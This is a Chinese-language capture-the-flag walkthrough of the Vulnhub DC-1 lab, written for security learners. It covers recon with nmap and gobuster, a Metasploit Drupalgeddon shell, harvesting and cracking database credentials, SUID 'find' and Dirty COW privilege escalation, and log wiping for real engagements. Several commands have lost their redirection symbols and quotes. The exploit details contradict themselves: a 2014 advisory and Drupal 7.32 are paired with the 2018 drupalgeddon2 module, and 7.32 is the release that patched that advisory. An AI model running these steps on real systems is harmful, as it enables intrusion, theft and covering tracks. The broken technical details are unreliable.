1. DC-1靶机渗透测试概述DC-1是Vulnhub平台上经典的渗透测试靶机专为网络安全初学者设计。这个靶机模拟了存在多个漏洞的Linux系统涵盖了从信息收集到最终提权的完整渗透流程。对于刚接触CTFCapture The Flag比赛的选手来说DC-1提供了一个绝佳的实战环境可以帮助理解渗透测试的基本方法论。我第一次接触DC-1时花了整整两天时间才完成全部渗透。过程中遇到了各种预料之外的状况比如服务版本误判、提权路径选择错误等。这些挫折反而成为了宝贵的学习经验。通过这个靶机你不仅能掌握常见漏洞的利用方法更重要的是培养渗透测试的思维方式——如何从零开始一步步突破系统防线。2. 环境准备与初始扫描2.1 实验环境搭建在开始渗透之前需要准备以下环境虚拟机软件VMware或VirtualBoxKali Linux攻击机建议2023.4以上版本DC-1靶机镜像从Vulnhub官网下载网络配置建议使用Host-Only或NAT模式确保攻击机和靶机在同一网段。我习惯给Kali分配固定IP如192.168.56.101这样后续操作会更方便。注意首次启动DC-1时系统可能会提示找不到系统磁盘。这是正常现象需要在虚拟机设置中将磁盘控制器类型改为IDE。2.2 网络发现与端口扫描使用nmap进行初始扫描是渗透测试的标准起点。我推荐以下扫描策略nmap -sS -Pn -n -T4 192.168.56.0/24发现靶机IP后假设为192.168.56.102进行详细扫描nmap -sV -sC -O -p- 192.168.56.102 -oA dc1_scan这个命令会-sV探测服务版本-sC运行默认脚本-O识别操作系统-p-扫描所有端口-oA输出所有格式报告扫描结果通常会显示开放了22(SSH)、80(HTTP)和111(RPCbind)端口。80端口的Web服务是我们的首要目标。3. Web应用渗透3.1 网站目录枚举使用gobuster进行目录扫描gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt关键发现/admin/Drupal后台登录页面/robots.txt泄露了/CHANGELOG.txt路径/CHANGELOG.txt显示Drupal版本为7.323.2 Drupal漏洞利用Drupal 7.32存在著名的Drupalgeddon漏洞SA-CORE-2014-005。使用Metasploit可以轻松利用msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 set LHOST 192.168.56.101 exploit成功后会获得一个meterpreter会话。我建议立即升级到更稳定的shellshell python -c import pty; pty.spawn(/bin/bash)3.3 敏感信息收集在Web根目录下查找配置文件find /var/www -name settings.php -exec grep password {} \;通常会找到数据库凭据格式类似$databases array ( default array ( default array ( database drupaldb, username dbuser, password R0ck3t, host localhost, port , driver mysql, ), ), );4. 数据库渗透与横向移动4.1 数据库访问与用户枚举使用获取的凭据登录MySQLmysql -udbuser -pR0ck3t drupaldb查询用户表获取哈希SELECT name,pass FROM users;Drupal使用加盐的SHA-512哈希。可以使用hashcat破解hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt4.2 SSH登录尝试破解出的密码可能用于SSH登录。但DC-1通常配置了更复杂的权限机制直接SSH登录往往不成功。这时需要寻找其他提权路径。5. 权限提升技术5.1 SUID提权分析查找具有SUID权限的可执行文件find / -perm -4000 2/dev/null关键发现/usr/bin/find/bin/mount/bin/su其中find命令的SUID提权最为经典touch pentest find pentest -exec whoami \;如果返回root则可以获取root shellfind pentest -exec /bin/sh \;5.2 内核提权备选方案如果SUID提权失败可以尝试内核漏洞。先检查系统信息uname -a cat /etc/issueDC-1通常运行较旧的内核版本。可以尝试使用dirtycow等经典漏洞gcc -pthread dirty.c -o dirty -lcrypt ./dirty6. 后渗透与flag获取6.1 寻找flag文件DC-1靶机通常设置了多个flag。常见位置包括/root/thefinalflag.txt/home/flag4/flag4.txtWeb目录下的flag.php使用以下命令全面搜索find / -name *flag* 2/dev/null6.2 痕迹清理虽然CTF中不需要但真实渗透测试中需要清理日志echo /var/log/auth.log history -c7. 经验总结与进阶建议在多次演练DC-1后我总结了几个关键点信息收集要彻底初期我经常因为漏扫某个目录或服务而走弯路。现在我会用多种工具交叉验证扫描结果。漏洞利用要有耐心Drupalgeddon漏洞有时需要多次尝试才能成功不要轻易放弃。提权路径多样性当一种提权方法失败时立即尝试其他方案。DC-1通常设计有多个提权路径。对于想进一步提升的CTFer我建议尝试不使用Metasploit完成整个渗透过程研究Drupal漏洞的底层原理而不仅是利用分析SUID提权的工作机制